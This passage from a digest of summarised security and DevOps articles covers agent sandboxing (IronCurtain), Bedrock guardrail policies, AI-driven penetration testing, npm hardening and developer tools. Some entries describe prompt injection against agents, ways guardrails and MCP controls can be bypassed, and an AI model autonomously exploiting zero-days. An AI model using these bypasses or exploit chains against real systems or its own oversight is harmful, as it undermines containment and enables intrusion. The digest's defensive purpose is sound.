    • Workflow: Lab is online in about 10 minutes; hunt with winlogbeat-* index; terraform destroy tears it down.
    • Tooling note: Built with help from Clawdbot, which the author later uninstalled over unknown security implications.
    • Next steps: Atomic Red Team, Sigma-to-Elastic conversion, and detection-as-code synced via GitHub Actions.

    Takeaway: Reuse the pattern for a throwaway lab, but lock the security group to your IP and enable Elastic security before exposing ports 9200 and 5601.

  • claudetop: Real-Time Cost Tracking and Analytics for Claude Code Sessions
    summary

    TL;DR: claudetop is an MIT-licensed “htop for Claude Code” status line showing live session cost, burn rate, cache efficiency, context use and plan limits.

    • Problem: Claude Code hides spend; the author cites a $10 estimate versus a $65 bill, blaming compaction for hidden token use.
    • Features: Session cost, hourly burn rate, monthly forecast, what-if pricing on Opus, Sonnet and Haiku, and cache hit ratio.
    • Alerts: BURN RATE over $15/hr, LOW CACHE under 20% after 5 minutes, COMPACT SOON over 80% context, SPINNING? for spend without code.
    • Plan windows: Shows 5-hour, 7-day and per-model limits for Pro, Max and Team subscribers only.
    • How it works: Reads Claude Code’s status line JSON; claudetop-usage polls the /usage endpoint at most once a minute using the stored OAuth credential.
    • Analytics: claudetop-engine loads all JSONL sessions into SQLite with a dashboard on localhost:8080; claudetop-stats reports by day, tag or month.
    • Config: CLAUDETOP_THEME, CLAUDETOP_DAILY_BUDGET, CLAUDETOP_TAG; plugins are executables in ~/.claude/claudetop.d/.
    • Install: ./install.sh from source, or claude plugin marketplace add liorwn/claudetop; needs jq, bc, curl.
    • Caveats: Costs are estimates from a repo-maintained pricing.json; several features such as iTerm2 integration are macOS-oriented.

    Takeaway: Install from source after reading the scripts, since it reads your Claude OAuth credential, and set a daily budget to catch runaway subagent loops.

  • IronCurtain: A Personal AI Assistant Built Secure from the Ground Up
    summary

    TL;DR: Niels Provos introduces IronCurtain, a research-prototype personal AI assistant that forces every agent action through a trusted MCP proxy enforcing a plain-English policy compiled into deterministic rules.

    • Problem: Cites 40,000+ exposed OpenClaw instances leaking API keys and history, plus prompt injection that can turn agents against owners.
    • Chokepoint: A trusted process acts as MCP proxy; its policy engine returns allow, deny or escalate for each call; each MCP server runs in its own OS sandbox.
    • Code Mode: The LLM writes TypeScript against a typed API, run in a V8 isolate with no filesystem, network or env access via one execute_code tool.
    • Docker Mode: Agents like Claude Code run with --network=none; only exits are a Unix socket to the proxy and a TLS MITM proxy for LLM calls.
    • Credentials: The container gets a fake API key; the MITM proxy swaps in the real key, which never enters the sandbox.
    • Policy: A natural-language “constitution” compiles into rules like allow-git-local-read-ops and escalate-git-remote-ops for git_push.
    • Auto-approver: Opt-in; approves only explicitly requested actions, sees only the user prompt and sanitized details, and escalates vague replies like “go ahead”.
    • Limits: Prompt injection and model drift remain unsolved; IronCurtain limits blast radius rather than preventing them; Claude Code integration is rough.
    • Try it: npx @provos/ironcurtain; supports filesystem, git, web fetch, Brave and SerpAPI search, and Signal.

    Takeaway: Apply the pattern to your own agents: enforce policy outside the model at a single proxy, deny network by default, and keep real credentials out of the sandbox.

  • Passkeys Are Your New Best Friend: Modern Authentication for Google Bug Hunters
    summary

    (Could not fetch full text.)

    TL;DR: A Google Bug Hunters blog post explaining how passkeys, designed to replace passwords, work and what advantages they bring; only the title and abstract were verified.

    • Source: Google Bug Hunters blog, post titled “Passkeys are Your New Best Friend”.
    • Date: Published 30 March 2026, per the site’s RSS feed.
    • Stated scope: Covers how passkeys work and the advantages they bring over passwords.
    • Framing: The abstract describes passkeys as designed to replace passwords.
    • Series context: The same feed lists related posts on cross-device passkeys, Hybrid transport and FIDO on Android in early 2026.
    • Gap: The page renders client-side, so the article body, claims and any numbers were not retrieved.

    Takeaway: Read the original post directly before citing specifics about passkey mechanics or threat coverage.

  • AWS Security Agent On-Demand Penetration Testing Now Generally Available
    summary

    TL;DR: AWS Security Agent’s on-demand penetration testing is now GA: AI agents find, exploit and validate vulnerabilities across AWS, other clouds and on-prem, at $50 per task-hour.

    • How it works: Agents discover issues, then attempt exploitation with targeted payloads and multi-step chains to confirm each finding and cut false positives.
    • Context: Combines SAST, DAST and pen testing, ingesting source code, IaC, OpenAPI specs, architecture docs and threat models.
    • Chaining: Links lower-severity issues into critical paths, for example stored XSS to session hijack to exposed admin config leaking DB credentials.
    • Setup: Create an agent space per app, prove domain ownership via DNS TXT or file, then target public URLs or private endpoints through a VPC.
    • Auth testing: Multiple credential sets including privileged and MFA accounts; LLM-based sign-in handles OAuth, SAML and Okta.
    • Findings: CVSS plus app-specific severity, reproduction steps, PDF export, and agent-generated fix pull requests followed by retest.
    • Numbers: 92.5% on CVE Bench v2.0; average test about 24 task-hours, roughly $1,200; customers report 70 to 90% savings.
    • Regions: us-east-1, us-west-2, eu-west-1, eu-central-1, ap-southeast-2, ap-northeast-1.
    • Caveats: Costs vary and are not guaranteed; performance claims are vendor and customer reported, not independent.

    Takeaway: Pilot it on a non-critical authenticated app with privileged and standard test accounts, and compare findings and cost against your last manual pen test.

  • Session Policies for Amazon EKS Pod Identity
    summary

    TL;DR: EKS Pod Identity associations now accept an inline IAM session policy that narrows a role’s permissions per service account, avoiding one IAM role per permission variant.

    • Problem: Least privilege per workload means many roles, pressing against the 5,000-role account quota.
    • How it works: Effective permissions are the intersection of the role’s policies and the session policy; it can only restrict, never expand.
    • API: New policy field on CreatePodIdentityAssociation and UpdatePodIdentityAssociation, up to 2,048 characters of JSON.
    • Hard requirement: disableSessionTags must be true when policy is set, otherwise the call fails with PackedPolicyTooLarge.
    • Cross-account: With targetRoleArn, the policy applies at the target-role hop; the source role needs sts:AssumeRole and sts:TagSession.
    • Validation: JSON, allowed characters, size, IAM schema via STS dry-run, and packed size after compression.
    • Propagation: Changes take about 10 seconds; running pods keep old credentials until refresh, so recreate pods for immediate effect.
    • Use cases: Multi-tenant SaaS, multiple environments in one cluster, and per-job S3 or DynamoDB subsets.
    • Tooling: Supported in the AWS CLI, EKS API, CloudFormation and eksctl across Commercial, China and GovCloud Regions.

    Takeaway: Use session policies to scope shared roles per namespace, but note that losing session tags breaks any ABAC conditions on them, and watch CloudTrail during rollout.

  • Leveling Up Secure Code Reviews with Claude Code
    summary

    TL;DR: SpecterOps consultant shows how he uses Claude Code as a comprehension aid during secure code reviews, not as an autonomous bug finder, using a tuned system prompt.

    • Thesis: Claude Code speeds up understanding unfamiliar codebases; asking it directly for vulnerabilities produced many false positives.
    • System prompt: Loaded via --system-prompt-file, with a red-team persona, confidence levels, a data-flow checklist and source/sink categories.
    • Teach mode: A [TeachMe] token switches on explanations for unfamiliar languages or frameworks, e.g. ANTLR grammars and AST parsing.
    • Output rules: Line-numbered snippets, parent function names, full paths, VS Code links and curl test examples.
    • BloodHound CE case: Traced POST /api/v2/graphs/cypher through cypherquery.go; Cypher is ANTLR-tokenized and filtered before PostgreSQL translation, limiting SQL injection.
    • Open questions: Whether read-only Cypher controls can be bypassed, and whether LOAD FROM CSV reaches local files.
    • BadWindowsService case: Claude mapped untrusted-input features (named pipes, file system, secrets) and wrote a PowerShell PoC, but output was not exhaustive.
    • Caveats: Factual errors happen (claimed BloodHound uses Neo4j); verify against code and correct its memory.
    • OPSEC: Don’t send client code to public Claude.ai; use local models or Amazon Bedrock with client approval.

    Takeaway: Use an LLM to map data flows and entry points in code you review, keep a reusable system prompt, and validate every claim yourself before reporting it.

  • scion: Multi-Agent Orchestration Testbed for Running Isolated Concurrent AI Agents
    summary

    TL;DR: Scion is a pre-1.0 Apache-2.0 platform from GoogleCloudPlatform for orchestrating teams of AI coding agents, each isolated in its own container with its own credentials.

    • How it works: A Hub control plane handles state, identity and dispatch; a Runtime Broker provisions agent containers.
    • Harnesses: Claude Code, Antigravity, Codex and OpenCode, with per-agent models and credentials.
    • Runtimes: Docker, Podman, Apple Container, Kubernetes and Cloud Run; auto-detected, overridable in .scion/settings.yaml.
    • Templates: A system prompt plus skills; agents delegate via CLI, message each other, and notify on completion.
    • Workspaces: Shared directories, Git worktrees or separate clones; add .scion/agents to .gitignore to avoid nested worktree issues.
    • Interfaces: Web chat plus Telegram, Discord, Slack, Google Chat and Microsoft Teams; MCP config, lifecycle hooks, A2A bridge, Skill Bank.
    • Setup: brew install homebrew-scion/scion/scion, scion server start, then scion init and scion start my-agent "task".
    • Modes: Local CLI, Workstation, single-node hosted, and HA hosted with Postgres and shared storage; hosted adds roles and scoped secrets.
    • Caveats: Not an officially supported Google product; APIs and config may change between releases.

    Takeaway: If you run several coding agents in parallel, Scion gives per-agent container isolation and scoped credentials; pin versions given its pre-1.0 churn.

  • Enforcing AI Governance Across AWS Organizations Using Bedrock Guardrails
    summary

    TL;DR: Sonrai shows how to enforce AI governance org-wide on AWS using SCPs and Bedrock Policies: block MCP-driven API calls, enforce guardrails, restrict regions, models and long-term Bedrock API keys.

    • Managed MCP servers: aws__call_aws can make arbitrary API calls; deny all actions when aws:ViaAWSMCPService is true (or target servers via aws:CalledViaAWSMCP).
    • MCP caveat: Agents like Claude Code or Kiro running the local AWS CLI bypass this control entirely.
    • Bedrock Policies: Org-level policy type BEDROCK_POLICY applies shared guardrails (e.g. PROMPT_ATTACK filter) to all models, even when callers specify none.
    • Guardrail gotchas: Guardrails are regional; sharing needs a resource policy allowing bedrock:ApplyGuardrail by aws:PrincipalOrgID; input_tags: honor lets direct callers bypass.
    • Region lock: SCP denying bedrock:* and bedrock-mantle:* outside allowed regions via aws:RequestedRegion; check cross-region inference profiles first.
    • Model control: Deny foundation-model ARNs like arn:aws:bedrock:*::foundation-model/deepseek* plus bedrock-mantle:Model; allow-listing is awkward.
    • Service kill switch: Deny bedrock-agentcore:*, exempting security or break-glass roles via aws:PrincipalArn.
    • API keys: Deny bedrock:CallWithBearerToken when BearerTokenType is LONG_TERM, and deny iam:CreateServiceSpecificCredential.
    • Caveats: Account-level PutEnforcedGuardrailConfiguration is easier to tamper with; test every control in a sandbox org first.

    Takeaway: Add SCPs blocking long-term Bedrock keys, unapproved regions and MCP-originated calls, and enforce a baseline prompt-attack guardrail via Bedrock Policies from the management account.

  • npm Security Best Practices: A Curated Collection of Package Manager Security Guidelines
    summary

    TL;DR: Liran Tal’s curated list of npm supply-chain hardening practices, with concrete config for npm, pnpm, Yarn and Bun covering install scripts, cooldowns, lockfiles and publishing.

    • Install scripts: npm config set ignore-scripts true; pnpm 10+ and Bun block them by default with allowBuilds / trustedDependencies allowlists.
    • Cooldown: min-release-age (npm), minimumReleaseAge (pnpm, Bun), npmMinimalAgeGate (Yarn); Dependabot cooldown and Renovate minimumReleaseAge for PRs.
    • Git deps: npm config set allow-git none (npm 11.10.0+); pnpm blockExoticSubdeps: true restricts git/tarball sources to direct deps.
    • Trust downgrade: pnpm 10.21+ trustPolicy: no-downgrade rejects versions with weaker provenance than earlier releases.
    • Deterministic installs: npm ci, pnpm install --frozen-lockfile, yarn install --immutable; validate lockfiles with lockfile-lint.
    • Install-time tools: npq and Socket Firewall (sfw npm install) vet packages before install.
    • npx hardening: Pre-install MCP servers into a locked workspace and run with --no --offline.
    • Publishing: Enable 2FA, use npm publish --provenance and OIDC trusted publishing to drop long-lived tokens.
    • Other: Scoped names plus .npmrc registry routing against dependency confusion; inspect tarballs with npm pack --dry-run; secrets via op run.

    Takeaway: Set ignore-scripts, a release-age cooldown and allow-git none in CI and dev machines today, and move package publishing to OIDC trusted publishing.

  • Anthropic Mythos Preview: Advanced Cybersecurity Capabilities and Vulnerability Discovery
    summary

    TL;DR: Anthropic’s Frontier Red Team reports that Claude Mythos Preview autonomously finds and exploits zero-days across major OSes and browsers, so access is restricted via Project Glasswing.

    • Claim: Security skills emerged from general coding and agentic gains, not targeted training; it finds bugs in every major OS and browser.
    • Firefox benchmark: 181 working JS-engine exploits versus 2 for Opus 4.6, though the harness lacked the browser sandbox.
    • OpenBSD: 27-year-old SACK bug allowing remote crash; ~1,000 scaffold runs cost under $20,000.
    • FreeBSD: CVE-2026-4747, a 17-year-old unauthenticated NFS RPCSEC_GSS RCE to root, exploited fully autonomously.
    • Other finds: 16-year-old FFmpeg H.264 bug, Linux kernel LPE chains of 2-4 bugs, Botan certificate-auth bypass, web auth bypasses.
    • Method: Isolated containers running Claude Code, per-file agents ranked by likelihood, AddressSanitizer as the oracle, a final filter agent.
    • Validation: Of 198 human-reviewed reports, 89% matched severity exactly, 98% within one level.
    • Access: No general release; Project Glasswing gives partners and OSS maintainers access; a Cyber Verification Program is planned.
    • Caveats: Under 1% of findings are patched, so most claims are unverifiable; vendor-authored; costs framed with hindsight.

    Takeaway: Expect a surge of AI-found CVEs and faster exploitation; shorten patch cycles and start running LLM-driven security review on your own code now.

  • GitHub Actions 2026 Security Roadmap: Deterministic Dependencies and Policy Controls
    summary

    TL;DR: GitHub’s 2026 Actions security roadmap adds dependency locking, workflow execution policies, scoped secrets, telemetry streaming and a native egress firewall in response to CI supply-chain attacks.

    • Motivation: Attacks like tj-actions/changed-files, Nx and trivy-action exploited mutable refs, over-permissioned tokens and open egress.
    • Dependency locking: New dependencies: workflow section pins direct and transitive actions to SHAs, like go.sum; hash mismatch stops the run.
    • Execution policies: Ruleset-based actor and event rules, e.g. ban pull_request_target or limit workflow_dispatch to maintainers.
    • Evaluate mode: Policies log would-be blocks in policy insights before enforcement.
    • Scoped secrets: Bind secrets to repos, branches, environments or workflow paths; no implicit inheritance in reusable workflows.
    • Permission change: Write access no longer grants secret management; it moves to a dedicated custom role.
    • Actions Data Stream: Near real-time run telemetry to Amazon S3 or Azure Event Hub, at-least-once delivery.
    • Egress firewall: Layer 7, outside the runner VM, monitor and enforce modes; GitHub-hosted runners only.
    • Timeline: Most previews in 3-6 months, GA at 6-9 months from March 2026; targets, not commitments.

    Takeaway: Pin actions to SHAs, remove pull_request_target where possible, and plan to adopt lockfiles, scoped secrets and egress monitor mode as they reach preview.

  • How AI-Powered “Solve by Default” Transforms Staff+ Engineering Impact
    summary

    TL;DR: Staff security engineer Scott Behrens describes “solve by default”: using AI agents to fix problems himself instead of filing tickets in other teams’ backlogs.

    • Problem: Small fixes sat 6-12 weeks in other teams’ queues; learning their codebases himself took days.
    • Example: Go services lacked proxy support; Claude learned the repo, fixed, tested, linted, documented and opened a PR, merged in about an hour.
    • Ops work too: Tailored security agents run assessments and build dashboards, with him validating results.
    • Practice: Treat human time as the scarce resource and offload the rest to agents.
    • Parallelism: Run at least 2 agent tasks at once to reduce idle time.
    • Validation: Use linters, tests, Playwright screenshots, packet captures and LLM-as-judge; humans own requirements and architecture.
    • Inputs: Turn meeting notes and memos into PRD requirements and working code.
    • Caveats: Cross-functional work still needs humans; agents miss macro architecture; broken workflows can cost a day or two.
    • Trap: Avoid the “automator’s trap” of spending a week to save ten minutes a year.

    Takeaway: Next time you’d file a ticket for another team’s small bug, try having an agent produce a tested PR, and keep validation evidence attached.

  • clawsec: Complete Security Skill Suite for AI Agents with Drift Detection and Integrity Verification
    summary

    TL;DR: ClawSec from Prompt Security is an AGPL collection of security skills and signed advisory feeds for OpenClaw-family agent runtimes, gating risky skill installs and detecting drift.

    • Platforms: OpenClaw, NanoClaw, Hermes and Picoclaw, each with its own skill package.
    • Signed intelligence: Advisory feed and checksum manifest verified via detached Ed25519 signature and pinned key before matching installed skills.
    • Guarded installs: Advisory matches halt installs and need a second explicit confirmation to proceed.
    • Drift detection: Baselines critical files, config, attestations and release artifacts, flagging changes to protected agent files.
    • Packages: clawsec-suite, clawsec-nanoclaw, hermes-attestation-guardian, picoclaw-security-guardian; picoclaw-self-pen-testing is opt-in.
    • Install: npx skills add prompt-security/clawsec --skill clawsec-suite -a openclaw --global -y, then scripts/setup_advisory_hook.mjs.
    • Design: It recommends and gates; destructive removals and overrides stay approval-controlled.
    • Caveats: *-traffic-guardian dirs are specs, not shipped proxies; feed may include advisories without CVE IDs.
    • Config impact: The advisory hook changes persistent OpenClaw config, so review before enabling.

    Takeaway: If you run OpenClaw-style agents, add signed advisory checks and install gating for third-party skills, treating skills as supply-chain artifacts.

  • The AI Vulnerability Storm: Building Mythos-ready Security Program
    summary

    TL;DR: CSA, SANS and OWASP GenAI CISO briefing (v0.95, April 2026) on preparing security programs for a wave of AI-discovered vulnerabilities after Anthropic’s Mythos and Project Glasswing.

    • Thesis: AI sharply increases attacker vulnerability discovery and exploitation; defenders face asymmetric burden because patching is slow.
    • Context cited: Mythos produced 181 Firefox exploits versus 2 for Opus 4.6; Zero Day Clock shows time-to-exploit under one day.
    • Prior signals: XBOW topping HackerOne, DARPA AIxCC finding 54 vulns, AISLE’s 12 OpenSSL zero-days, Linux kernel reports rising from 2 to 10 per week.
    • Risk register: 13 draft risks mapped to OWASP LLM/Agentic Top 10, MITRE ATLAS and NIST CSF 2.0, e.g. unmanaged agent attack surface.
    • Priority actions: 11 actions, from LLM security review of all code before merge to standing up a VulnOps function within 12 months.
    • Tools named: Claude Code Security, Codex Security, Knostic OpenAnt, raptor, Trail of Bits agentic skills.
    • Basics: Egress filtering, segmentation, phishing-resistant MFA, SBOMs, software minimization, deception and canaries.
    • People: Plan for burnout, reserve capacity and simultaneous high-severity incidents in one week.
    • Caveats: Aggressive timelines may be unrealistic; supply-chain cooldowns conflict with faster patching.

    Takeaway: Start LLM-driven code review in CI now, verify egress filtering and segmentation, and prepare triage capacity for a flood of vendor patches.

01.03.2026

  • Security as a Platform: Codifying Scans, Signals, and Guardrails
    summary

    TL;DR: Plaid describes rebuilding fragmented per-repo security scanning into a shared platform with one-line Terraform onboarding, dynamic pipelines and unified vulnerability management.

    • Problem: Hundreds of services across GitHub orgs, per-language analyzers, thousands of mostly unexploitable CVE alerts, patchy secret detection.
    • Onboarding: A one-line Terraform change enables PR scans, daily full scans, status checks, PR comments and tracking.
    • Dynamic pipelines: Steps chosen by changed files, e.g. IaC analysis only when .tf files change; PR scans are incremental.
    • Domains: SAST with curated rules, reachability-aware SCA, IaC, privacy, supply chain, and AI-based business logic scans.
    • Execution: Pinned scanner containers run on Plaid-managed agents inside its AWS VPC; control plane is hosted.
    • Unified findings: Normalized data model, auto-resolution on fix, team attribution via code ownership and cloud metadata.
    • Guardrails from incidents: Bug bounty SameSite cookie report became a rule flagging values other than Lax or Strict.
    • Rollout: Small high-confidence ruleset first, new controls in soft-fail mode to tune false positives before blocking.
    • Caveats: No quantified outcomes; roadmap items like AI auto-fixes are not delivered; only sub-5-minute PR feedback is cited.

    Takeaway: Make security scanning opt-in by one line of IaC, launch new rules soft-fail, and use reachability to cut SCA noise.

  • Amazon EKS Introduces Enhanced Network Security Policies
    summary

    TL;DR: Amazon EKS added cluster-wide network policies and DNS-based egress filtering, extending VPC CNI NetworkPolicy support beyond namespace-level pod segmentation.

    • ClusterNetworkPolicy: Centrally enforces network access filters across the whole cluster, not just per namespace.
    • FQDN egress: DNS-based policies filter outbound traffic to external endpoints by domain name.
    • Builds on: Existing Kubernetes NetworkPolicy support in the VPC CNI plugin.
    • Version: Requires Kubernetes 1.29 or later for new clusters.
    • CNI: ClusterNetworkPolicy needs VPC CNI v1.21.1+, in all EKS launch modes.
    • Limit: DNS-based policies work only on EC2 instances launched by EKS Auto Mode.
    • Existing clusters: Support was announced as coming “in the coming weeks”.
    • Regions: All commercial AWS Regions; pricing not mentioned.

    Takeaway: Upgrade VPC CNI to v1.21.1+ and use ClusterNetworkPolicy for baseline deny rules; consider Auto Mode if you need FQDN egress allowlists.

  • Announcing Amazon EKS Capabilities
    summary

    TL;DR: Amazon EKS Capabilities, GA since November 30, 2025, are AWS-managed Argo CD, ACK and kro running outside your clusters on AWS-owned infrastructure.

    • Argo CD: Managed GitOps continuous deployment.
    • ACK: AWS Controllers for Kubernetes manage AWS resources from Kubernetes manifests.
    • kro: Kube Resource Orchestrator composes and orchestrates Kubernetes resources.
    • Hosting: Runs on AWS-owned infrastructure separate from your clusters.
    • Operations: AWS handles scaling, patching and upgrades.
    • Enablement: New or existing clusters via EKS API, CLI, eksctl, console or IaC.
    • Regions: All AWS Regions except GovCloud (US) and China.
    • Gaps: The announcement lists no pricing, quotas or supported versions.

    Takeaway: Evaluate managed Argo CD, ACK and kro to drop self-hosted controllers, after checking pricing and quotas on the EKS pages.

  • Amazon EKS and ECS Announce Fully Managed MCP Servers in Preview
    summary

    TL;DR: AWS previewed fully managed, cloud-hosted MCP servers for Amazon EKS and ECS on November 21, 2025, giving AI assistants live cluster context with IAM and CloudTrail.

    • What: Remote MCP servers for EKS and ECS hosted by AWS; nothing to install locally.
    • Maintenance: Automatic updates and patching.
    • Security: Access controlled through AWS IAM.
    • Audit: Calls logged in AWS CloudTrail.
    • Developer use: Guided workflows, code generation and context-aware debugging in AI coding assistants.
    • Operator use: Knowledge base of best practices and troubleshooting guidance.
    • Clients: Kiro CLI, Cursor and Cline are named.
    • Gaps: Exposed tools, IAM setup, pricing and regions are not in the announcement.

    Takeaway: Grant these MCP servers least-privilege IAM, monitor their CloudTrail activity, and consider SCP condition keys to block MCP-originated calls where unwanted.

  • Deep Dive: Streamlining GitOps with Amazon EKS Capability for Argo CD
    summary

    TL;DR: AWS deep dive on the managed EKS Argo CD capability in a hub-and-spoke setup, using IAM Identity Center, EKS Access Entries, CodeConnections and ECR OCI Helm charts.

    • Architecture: Hub cluster hosts the capability for management only; spokes can be cross-account, cross-region or private.
    • Spoke access: EKS Access Entries grant the capability role API access, removing VPC peering, Transit Gateway or role chaining.
    • SSO: IAM Identity Center groups map to Argo CD ADMIN and VIEWER roles.
    • Git auth: repo-creds secrets, Secrets Manager secretArn references, or CodeConnections OAuth for GitHub, GitLab, Bitbucket, Azure DevOps.
    • ECR: Native auth with no token-refresh CronJobs; Helm charts via oci:// (Argo CD v3.1+).
    • Deployment: ApplicationSets with cluster generator; dev auto-syncs one replica, prod manual sync with three.
    • CI promotion: Project-scoped JWT for a ci-pipeline role, then argocd app sync and argocd app wait --health.
    • Caveats: No controller logs, only events and status; demo grants AmazonEKSClusterAdminPolicy, replace with least privilege.
    • Tokens: Project tokens last up to 365 days; global tokens expire after 12 hours.

    Takeaway: For multi-account EKS fleets, managed Argo CD with Access Entries removes network plumbing; scope spoke permissions and rotate project tokens.

  • prek: A Git Hook Manager Written in Rust, Drop-In Alternative to pre-commit
    summary

    TL;DR: prek is a Rust rewrite of pre-commit: a single dependency-free binary that runs your existing hook configs faster, with monorepo support and supply-chain safeguards.

    • What it is: A framework that runs hooks before commit, on demand or in CI, and manages the toolchains those hooks need.
    • Compatibility: Drop-in replacement; reads existing .pre-commit-config.yaml and hooks unchanged, plus a native prek.toml format (prek util yaml-to-toml migrates).
    • Speed: Shares hook environments across repos, fetches and sets up in parallel, uses uv for Python venvs; claims multiple times faster than pre-commit.
    • Built-in hooks: Rust-native fast path for common pre-commit-hooks entries, and offline repo: builtin hooks like deny-pattern and require-pattern.
    • Monorepos: Workspace mode keeps per-project configs, runs from one command, and runs independent same-depth projects concurrently.
    • Workflow: Hook groups with --group/--no-group, --glob/--directory/--files targeting, --dry-run preview, and honors core.hooksPath.
    • Security: Verifies checksums of downloaded toolchains; prek update supports --cooldown-days, SHA freezing, and impostor-commit detection for pinned revisions.
    • Adoption: Used by CPython, Apache Airflow and FastAPI; installs via standalone script, uv, Homebrew, mise, Cargo, npm, Nix and others.

    Takeaway: Swap pre-commit for prek in CI and dev machines to drop the Python dependency, and use prek update --cooldown-days plus SHA freezing with --check in CI to harden hook supply chains.

  • mactop: Terminal-Based Monitoring Tool for Apple Silicon Chips
    summary

    TL;DR: mactop is a Go top-style terminal monitor for Apple Silicon Macs showing CPU, GPU, ANE, power, temperature and bandwidth metrics without needing sudo.

    • Scope: Apple Silicon (ARM64) only, macOS Monterey 12.3+; written in Go with CGO by Carsen Klock.
    • How it works: Reads native Apple APIs (SMC, IOReport, IOKit, IOHIDEventSystemClient, Mach kernel API), so no root is needed for monitoring.
    • Metrics: Per-core E/P/S-core usage (M5 S-cores included), GPU frequency, ANE and DRAM power, DRAM read/write bandwidth, temperatures, fans, battery, network, disk I/O.
    • Extras: Thunderbolt bandwidth and device tree, RDMA over Thunderbolt 5 detection, memory pressure via kern.memorystatus_vm_pressure_level, listening ports layout.
    • UI: 22 layouts, themes (Dracula, Catppuccin, hex colors), htop-style process list with filter and kill (F9), vim-like navigation, 20 languages.
    • Automation: --headless outputs JSON, YAML, XML, CSV or TOON; --count and --pretty for scripting; --menubar runs as a menu bar item.
    • Prometheus: Optional exporter via -p <port> with CPU/GPU/ANE usage, power, bandwidth, fans, temperatures and thermal state.
    • Caveats: --fan-control writes SMC keys and requires sudo; per-process GPU usage is experimental; M5+ DRAM bandwidth is an estimate.

    Takeaway: Install with brew install mactop and use mactop --headless --count 1 or the -p Prometheus exporter to feed Apple Silicon build hosts or CI runners into existing monitoring.

  • memlab: Framework for Finding JavaScript Memory Leaks and Analyzing Heap Snapshots
    summary

    TL;DR: MemLab is Meta’s open-source framework for finding JavaScript memory leaks by driving browsers with Puppeteer and diffing heap snapshots, plus CLI, APIs and an MCP server for analysis.

    • How it works: A scenario file defines url, action and back; memlab run --scenario replays it, compares heap snapshots and filters leaked objects.
    • Output: Clusters leaks and prints one retainer trace per cluster, the reference chain from GC root that keeps the object alive.
    • Custom detectors: Add a leakFilter(node, heap) callback to flag objects using your own logic over the heap graph.
    • Heap analysis: memlab analyze unbound-object finds growing objects; memlab view-heap and memlab trace --node-id inspect snapshots interactively.
    • Runtimes: Works with snapshots from Chromium browsers, Node.js, Electron and Hermes; Node programs can assert on their own memory in tests.
    • MCP server: @memlab/mcp-server lets AI assistants load snapshots, find largest retainers, detached DOM nodes, closures and duplicated strings.
    • Caveats: Readable traces need non-minified code or preserved names; the example MCP config sets --max-old-space-size=8192 for large snapshots.

    Takeaway: Add memlab run scenarios for key user flows to CI to catch frontend or Electron leaks before release, and use memlab analyze on Node service heap dumps during memory incidents.

  • zerobrew: A 5-20x Faster Experimental Homebrew Alternative
    summary

    TL;DR: zerobrew is an experimental, uv-style Homebrew client for macOS and Linux that installs the same Homebrew bottles several times faster via a content-addressed store and in-process relocation.

    • What it is: A zb CLI that uses homebrew-core formulae, bottles and metadata; it compiles nothing and maintains no formulae.
    • How it works: Relocates binaries in-process and links from a content-addressed store with APFS clonefiles, instead of Ruby evaluation plus install_name_tool and re-signing per binary.
    • Numbers: 100-package benchmark: 782s vs 216s cold (3.6x) and 650s vs 27.7s warm (23x); median package 4.8x cold, 52x warm.
    • Bottlenecks: Cold installs are bandwidth bound; ca-certificates post-install (~5s) sets the cold floor; fontconfig’s fc-cache is not cached yet.
    • Commands: zb install, zb bundle (Brewfile), zb outdated, zb upgrade, zb gc, zb reset, and zbx to run without linking.
    • Brew compat: zb install-alias brew adds a brew shim for common subcommands; search, services, tap and --cask are not supported.
    • CI guardrails: Parity workflow compares installed prefixes byte for byte with Homebrew; nightly timing fails below 1.5x cold or 3x warm speedup.
    • Caveats: Warm speed costs extra disk (bottle plus unpacked keg kept); maintainers advise running alongside Homebrew, not replacing it.

    Takeaway: Try zb bundle against your Brewfile to speed up laptop or macOS CI runner provisioning, but keep real Homebrew installed for casks, taps and services.

  • aws-config-d: Manage Multiple AWS SSO Organizations with Separate Config Files
    summary

    TL;DR: aws-config-d is a dependency-free shell tool that splits ~/.aws/config into per-organization files under ~/.aws/config.d/ and rebuilds the real config on shell start.

    • Problem: Multi-org consultants end up with one huge ~/.aws/config; the AWS CLI has no native config.d/ support (feature request open since March 2022).
    • How it works: A shell hook runs aws-config-d auto; if any part is newer than ~/.aws/config, it concatenates all parts in lexicographic order.
    • Disabling: Suffix a file with .off or move it to disabled/; aws-config-d enable, disable, list and rm manage this.
    • Drift detection: A SHA-256 of the last generated file catches outside edits (e.g. aws configure sso) and warns instead of silently overwriting.
    • Setup: install.sh creates config.d/, migrates the existing config to 01-migrated-config, installs to ~/.local/bin, and hooks bash, zsh or fish.
    • Testing: 42 tests across bash, zsh and fish in isolated Docker containers.
    • Limits: Pure concatenation workaround; aws configure sso still edits the generated file; ~/.aws/credentials is not managed.

    Takeaway: If you juggle several AWS organizations, keep one file per client in ~/.aws/config.d/ and disable finished engagements, so stale SSO profiles stop leaking into daily work.

  • Presidio: Open-Source Framework for Detecting and Anonymizing Sensitive Data
    summary

    TL;DR: Presidio is an MIT-licensed SDK for detecting and anonymizing PII in text, images and structured data, now community-governed under the Data Privacy Stack organization.

    • What it is: Identification and anonymization modules for entities like credit cards, names, locations, SSNs, bitcoin wallets, phone numbers and financial data.
    • Components: presidio-analyzer, presidio-anonymizer, presidio-image-redactor and presidio-structured, published on PyPI.
    • How it works: Predefined or custom recognizers combine NER, regular expressions, rule-based logic and checksums with surrounding context, in multiple languages.
    • Extensibility: Can call external PII detection models and customize both detection and de-identification logic.
    • Deployment: Runs from Python or PySpark, Docker, or Kubernetes; image redactor handles standard images and DICOM medical images.
    • Project move: Transitioned from Microsoft to the community data-privacy-stack GitHub org with a Technical Steering Committee; APIs unchanged.
    • Images: New Docker images ship on GHCR; mcr.microsoft.com/presidio-* images are frozen, so switch to ghcr.io/data-privacy-stack/presidio-*.
    • Caveat: Automated detection gives no guarantee of finding all sensitive data; the project says to add other protections.

    Takeaway: Use Presidio to scrub PII from logs or LLM prompts before they leave your boundary, and update any mcr.microsoft.com/presidio-* image references to GHCR.

  • Top 10 Web Hacking Techniques of 2025
    summary

    TL;DR: PortSwigger’s annual community-nominated, panel-ranked list of the ten most novel web attack techniques published in 2025, with side-channels as the dominant theme.

    • Process: 63 community nominations (down from 121), community vote to 15 finalists, then a panel including James Kettle, Soroush Dalili and LiveOverflow ranked the top 10.
    • #1: “Successful Errors” by Vladislav Korchagin: error-based techniques for blind SSTI and code injection, polyglot detection, open-source toolkit.
    • #2: “ORM Leaking More Than You Joined For” by Alex Brown: a generic method to exploit search and filter features via ORM leaks.
    • #3: Novel SSRF via HTTP redirect loops by @shubs, turning blind SSRF into visible response data.
